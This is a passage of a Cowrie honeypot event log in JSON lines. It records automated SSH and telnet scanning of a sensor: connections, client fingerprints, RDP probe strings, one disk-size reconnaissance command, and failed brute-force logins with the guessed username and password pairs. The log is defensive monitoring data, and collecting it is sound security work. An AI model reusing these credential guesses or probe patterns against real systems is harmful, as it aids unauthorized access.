{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:25.690595Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:25.694511Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:25.937708Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.5","message":"Connection lost after 20.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:25.942833Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:25.947834Z","src_ip":"43.133.62.188","session":"6c9839d14ab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.188.177.46","src_port":52064,"dst_ip":"159.203.135.109","dst_port":22,"session":"d26ef8dc80c6","protocol":"ssh","message":"New connection: 103.188.177.46:52064 (159.203.135.109:22) [session: d26ef8dc80c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:27.185276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:27.191365Z","src_ip":"103.188.177.46","session":"d26ef8dc80c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:27.434246Z","src_ip":"103.188.177.46","session":"d26ef8dc80c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xiaoxiao520","message":"login attempt [root/xiaoxiao520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:28.437229Z","src_ip":"103.188.177.46","session":"d26ef8dc80c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:29.683361Z","src_ip":"103.188.177.46","session":"d26ef8dc80c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.5785391330719,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:29.948214Z","src_ip":"152.42.224.71","session":"64bdc5886e4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52230,"dst_ip":"10.17.0.5","dst_port":23,"session":"36f5e1ddb65e","protocol":"telnet","message":"New connection: 152.42.224.71:52230 (10.17.0.5:23) [session: 36f5e1ddb65e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:44.887436Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":63029,"dst_ip":"159.203.135.109","dst_port":22,"session":"69334e0dbca8","protocol":"ssh","message":"New connection: 167.172.81.52:63029 (159.203.135.109:22) [session: 69334e0dbca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:50.047598Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:50.053883Z","src_ip":"167.172.81.52","session":"69334e0dbca8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:50.057411Z","src_ip":"167.172.81.52","session":"69334e0dbca8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32998,"dst_ip":"10.17.0.5","dst_port":23,"session":"31c8610ddaa7","protocol":"telnet","message":"New connection: 152.42.224.71:32998 (10.17.0.5:23) [session: 31c8610ddaa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:51.450619Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33002,"dst_ip":"10.17.0.5","dst_port":23,"session":"7349f79b45c2","protocol":"telnet","message":"New connection: 152.42.224.71:33002 (10.17.0.5:23) [session: 7349f79b45c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:52.937169Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33016,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2434b6ea6c1","protocol":"telnet","message":"New connection: 152.42.224.71:33016 (10.17.0.5:23) [session: a2434b6ea6c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:53.938723Z"}
{"eventid":"cowrie.session.closed","duration":29.939645290374756,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:54.109247Z","src_ip":"152.42.224.71","session":"b82dd1570324","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":68.02155542373657,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:58.076981Z","src_ip":"134.209.74.135","session":"a856b2332d4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":53978,"dst_ip":"159.203.135.109","dst_port":22,"session":"f621ccde5000","protocol":"ssh","message":"New connection: 102.210.148.92:53978 (159.203.135.109:22) [session: f621ccde5000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:05.656552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:05.666399Z","src_ip":"102.210.148.92","session":"f621ccde5000","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:05.916364Z","src_ip":"102.210.148.92","session":"f621ccde5000","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nn123456","message":"login attempt [root/Nn123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:06.945401Z","src_ip":"102.210.148.92","session":"f621ccde5000","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:08.199315Z","src_ip":"102.210.148.92","session":"f621ccde5000","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57476,"dst_ip":"10.17.0.5","dst_port":22,"session":"a922b5254b82","protocol":"ssh","message":"New connection: 152.42.212.128:57476 (10.17.0.5:22) [session: a922b5254b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:11.411400Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:11.415917Z","src_ip":"152.42.212.128","session":"a922b5254b82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:11.420001Z","src_ip":"152.42.212.128","session":"a922b5254b82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.28.136","src_port":56926,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f15331e69ec","protocol":"ssh","message":"New connection: 43.156.28.136:56926 (159.203.135.109:22) [session: 0f15331e69ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:22.971686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:22.978163Z","src_ip":"43.156.28.136","session":"0f15331e69ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:23.220750Z","src_ip":"43.156.28.136","session":"0f15331e69ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.98672080039978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:23.923784Z","src_ip":"152.42.224.71","session":"7349f79b45c2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zhangbin","password":"zhangbin","message":"login attempt [zhangbin/zhangbin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:24.202229Z","src_ip":"43.156.28.136","session":"0f15331e69ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.138230085372925,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:24.588735Z","src_ip":"152.42.224.71","session":"31c8610ddaa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:25.442567Z","src_ip":"43.156.28.136","session":"0f15331e69ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37994,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa95ee6f574e","protocol":"ssh","message":"New connection: 103.176.20.57:37994 (10.17.0.5:22) [session: fa95ee6f574e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:33.397036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:33.402561Z","src_ip":"103.176.20.57","session":"fa95ee6f574e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:33.654114Z","src_ip":"103.176.20.57","session":"fa95ee6f574e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newyork","message":"login attempt [root/newyork] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:34.431684Z","src_ip":"103.176.20.57","session":"fa95ee6f574e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:35.685827Z","src_ip":"103.176.20.57","session":"fa95ee6f574e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.45314025878906,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:36.391736Z","src_ip":"152.42.224.71","session":"a2434b6ea6c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43558,"dst_ip":"10.17.0.5","dst_port":23,"session":"32c28242d823","protocol":"telnet","message":"New connection: 152.42.224.71:43558 (10.17.0.5:23) [session: 32c28242d823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:37.573647Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":46120,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e5d5d3499d2","protocol":"ssh","message":"New connection: 103.75.183.219:46120 (159.203.135.109:22) [session: 6e5d5d3499d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:37.701885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:37.707348Z","src_ip":"103.75.183.219","session":"6e5d5d3499d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:37.946470Z","src_ip":"103.75.183.219","session":"6e5d5d3499d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fgtkmcby","message":"login attempt [root/fgtkmcby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:38.666334Z","src_ip":"103.75.183.219","session":"6e5d5d3499d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:39.909032Z","src_ip":"103.75.183.219","session":"6e5d5d3499d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.932913064956665,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:42.820241Z","src_ip":"152.42.224.71","session":"36f5e1ddb65e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43564,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba9ba655fb5e","protocol":"telnet","message":"New connection: 152.42.224.71:43564 (10.17.0.5:23) [session: ba9ba655fb5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:45.816097Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.188.177.46","src_port":54030,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2da38c48d4c","protocol":"ssh","message":"New connection: 103.188.177.46:54030 (159.203.135.109:22) [session: c2da38c48d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:47.215775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:47.224299Z","src_ip":"103.188.177.46","session":"c2da38c48d4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:47.460595Z","src_ip":"103.188.177.46","session":"c2da38c48d4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.62.188","src_port":54260,"dst_ip":"159.203.135.109","dst_port":22,"session":"ede613b3b0cc","protocol":"ssh","message":"New connection: 43.133.62.188:54260 (159.203.135.109:22) [session: ede613b3b0cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:48.421463Z"}
